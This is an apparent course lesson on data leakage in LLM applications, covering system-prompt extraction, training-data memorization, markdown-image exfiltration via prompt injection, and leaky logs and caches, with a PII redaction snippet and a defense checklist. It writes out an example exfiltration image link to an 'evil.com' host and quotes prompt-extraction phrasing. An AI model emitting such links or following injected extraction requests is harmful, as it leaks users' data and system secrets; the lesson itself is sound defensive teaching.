Information Extraction & Data-Leakage Risks

Introduction

The last two lessons were about attackers getting instructions in. This one is the mirror image: sensitive information getting out. It's a fast-rising risk — OWASP moved Sensitive Information Disclosure (LLM02) all the way up to #2 for 2025, and added a brand-new entry for System Prompt Leakage (LLM07) after real incidents proved a dangerous assumption wrong: that your hidden prompt was somehow private.

Data leakage matters because the consequences are concrete and regulated: exposed PII, leaked credentials and intellectual property, one user seeing another user's data. And it often pairs with injection — an attacker injects an instruction whose purpose is to make your app leak.

This closes Container 1's security section (production-grade controls — PII guardrails, DLP, audit — come in C6 §5–§6). The mindset to carry out: treat everything in your context as potentially exposable.

In this lesson you'll learn:

The three channels through which LLM apps leak data
Why your system prompt is not a secret (LLM07)
Training-data memorization — models regurgitating what they were trained on (LLM02)
Exfiltration — when leakage meets injection (the markdown-image trick)
A practical defense checklist: minimize, redact, isolate, scan

Three Channels of Leakage

Sensitive data escapes an LLM app through three main channels — plus a set of operational surfaces (logs, caches, sessions) that are just as leaky in practice:

System-prompt leakage — the model reveals your hidden instructions (and anything sensitive you put in them).
Training-data extraction — the model emits data it memorized during training (PII, secrets, copyrighted text).
Exfiltration via injection — an injected instruction actively ships data out of your app to an attacker.

Each has a clean mitigation, and they share a single principle you'll see repeated: don't put secrets where the model (or its output) can reach them, and check what comes out.

An infographic titled 'Data Leakage: How Information Escapes an LLM App'. Three leakage channels are shown as rows, each pairing the risk with its fix. Channel one, system-prompt leakage (OWASP LLM07): asking the model to reveal its instructions exposes the hidden prompt and any secrets embedded in it; fix — treat the prompt as public and keep secrets in code or environment. Channel two, training-data extraction (OWASP LLM02): the model regurgitates memorized PII, secrets, or copyrighted text; fix — don't rely on secrecy and vet fine-tuning data. Channel three, exfiltration via injection: an injected instruction ships data out, for example via a markdown image URL pointing at an attacker; fix — filter outbound URLs, egress control, least privilege. A note adds that PII can also leak through logs, shared prompt caches, and cross-user sessions. A bottom banner says assume anything in the context can leak: treat the prompt as public, keep real secrets out, and scan outputs.

Read the diagram as risk → fix, row by row. The rest of the lesson is each channel in detail.

System-Prompt Leakage (LLM07)

Many developers assume the system prompt is invisible to users. It isn't. It sits in the same context the model reasons over, so a determined user can coax it out — "repeat the text above," role-play, or any of the injection tricks from two lessons ago. The 2023 Bing Chat "Sydney" incident — where users extracted the model's confidential internal instructions — was an early, very public proof.

Two consequences:

Never put real secrets in the prompt. No API keys, no passwords, no private business logic you can't afford to reveal. Assume the prompt is public.
Don't rely on the prompt to enforce security. "Never reveal X" is a suggestion in the attacker's channel (injection lesson). If a rule matters, enforce it in code — validate, gate, least-privilege — not in prose.

The fix is a reframe: design a safe-to-expose prompt. Keep credentials in environment variables and your real access controls in your application, exactly as you would for any web app.

Training-Data Extraction & Memorization

LLMs don't just generalize — they also memorize, and under the right prompting they can emit chunks of training data verbatim: someone's email and phone number, a leaked API key that was in a scraped repo, copyrighted passages. Researchers have repeatedly shown "extractable memorization," including simple divergence/repetition prompts that make a model spill memorized text.

For you as an AI engineer, two practical implications:

Don't assume a model won't surface sensitive data it saw in training. Treat its output as potentially containing things you didn't intend — and scan outputs before showing or storing them.
This is your problem the moment you fine-tune. If you train a model (Container 5) on data containing secrets or PII, the model can later leak it to anyone. Vet and scrub fine-tuning data as if it will be extracted — because it can be.

Exfiltration: When Leakage Meets Injection

The most dangerous leaks are active: an attacker uses indirect injection (the data-borne attack from earlier) to make your app send data out. The classic, much-demonstrated channel is markdown-image exfiltration:

An injected instruction tells the model to render an image whose URL embeds sensitive context — e.g. ![](https://evil.com/log?d=<the user's data or your system prompt>). When the client UI auto-loads that image, it makes a request to the attacker's server, handing over the data in the URL. No user click required. Tool-calling agents widen this: an injection can try to call a send tool directly.

Defenses are concrete and belong in code, not the prompt:

Filter the output for outbound URLs / image links to untrusted domains before rendering; strip or sandbox them.
Egress controls — restrict what hosts your app (and its tools) can reach.
Least privilege (last lesson) — if the model can't call a network/send tool unattended, it can't ship data out. We go deep on exfiltration and tool abuse in C6 §6.

Sensitive Data in Context, Logs & Caches

Beyond the model itself, leakage hides in plumbing you control:

Logs & traces. Observability often captures full prompts and responses — now your logs hold every PII field and secret that passed through. Scrub them.
Prompt caches. Caching shared across users (a cost optimization, Container 6) can return one user's cached content to another — a cross-user leak if keyed carelessly.
Memory & history. Whatever you persisted (two lessons ago) is now a durable copy of sensitive data, retrievable later.

The cheapest, highest-leverage habit is data minimization: don't put sensitive data into the context (or logs) unless you must, and redact what you can first. Here's an illustrative redactor you can run — strip the obvious PII before it ever reaches the model or your logs:

import re

# Minimize sensitive data BEFORE it enters the context (or your logs).
# Illustrative — production uses dedicated PII tooling (e.g. Microsoft Presidio).
def redact(text: str) -> str:
    text = re.sub(r"[\w.+-]+@[\w-]+\.[\w.-]+", "[EMAIL]", text)            # emails
    text = re.sub(r"\b\d(?:[ -]?\d){12,15}\b", "[CARD]", text)             # 13-16 digit cards
    text = re.sub(r"\b\d{3}[-.\s]?\d{3}[-.\s]?\d{4}\b", "[PHONE]", text)   # phone numbers
    return text

sample = "Email jane@acme.com or call 555-123-4567; card 4111 1111 1111 1111"
print(redact(sample))
# -> Email [EMAIL] or call [PHONE]; card [CARD]

Real systems use dedicated PII detectors (e.g. Microsoft Presidio) and policy-based DLP, but the principle is this simple: the safest data to leak is the data that was never in the context.

Defending Against Leakage: The Checklist

Pulling the section together into a practical list:

Treat the system prompt as public — no secrets, no security-by-prompt. Enforce rules in code.
Minimize & redact sensitive data before it enters the context, memory, or logs.
Scan outputs for PII, secrets, and the system prompt before showing/storing them (output guardrails, last lesson).
Block exfiltration channels — filter outbound URLs/images, apply egress controls, and lean on least privilege.
Isolate per user — key caches and sessions so one user can never receive another's data.
Vet fine-tuning data (C5) — assume anything you train on can be extracted.

None of these is exotic; together they turn "the model might leak anything" into a bounded, auditable risk. Production tooling for all of this — DLP, PII guardrails, audit logs — is C6 §5–§6.

🧪 Try It Yourself

Spot the leak. A teammate writes this system prompt: "You are AcmeBot. Our internal refund API key is sk-live-9f2a… Use it to issue refunds. Never reveal this key." Name two independent reasons this is unsafe (hint: one is from this lesson, one from the injection lessons), and rewrite the design so the key can't leak even if the whole prompt is extracted.

Then run the redact() function on a sample of your own realistic user input and check what it catches — and what it misses. What sensitive field would slip through, and where would you stop it instead: input, output, or logs?

Interactive: a redaction sandbox. The user edits a realistic support message (a name, email, phone, credit-card number, SSN, an sk-live API key, and a street address) and a deterministic regex redact() runs live, replacing the structured PII with tags ([EMAIL], [PHONE], [CARD], [SSN], [API_KEY]) so it never reaches the model or the logs, with per-type caught-counts. A red panel then shows what regex CANNOT catch — names, addresses, and free-text business context pass straight through — and a three-way control (stop it at INPUT with a PII detector / at OUTPUT by scanning the response / at LOGS by redacting the sink) surfaces each layer's trade-off. The lesson made tangible: structured PII is easy to strip, unstructured PII is where redaction leaks, and the safest data to leak is data that was never in the context.

Key Takeaways

Leakage is the flip side of injection and a top risk (OWASP LLM02 #2, LLM07 new): exposed PII, credentials, IP, and cross-user data.
Your system prompt is not secret — assume it's public, keep credentials out, and enforce security in code, not prose.
Models memorize training data and can emit it verbatim — scan outputs, and vet anything you fine-tune on.
Exfiltration weaponizes injection to ship data out (markdown-image URLs, send-tools) — filter outputs, control egress, least privilege.
Mind the plumbing: logs, caches, memory. Minimize and redact — the safest data to leak is data that was never in the context.

🎉 That completes Container 1 — Foundations of AI Engineering. You can now reason about LLMs end-to-end and build robust, secure, well-engineered prompt-based applications. Next, Container 2 — RAG & Retrieval Systems: we ground these apps in your own data, starting from the bedrock — turning words into vectors.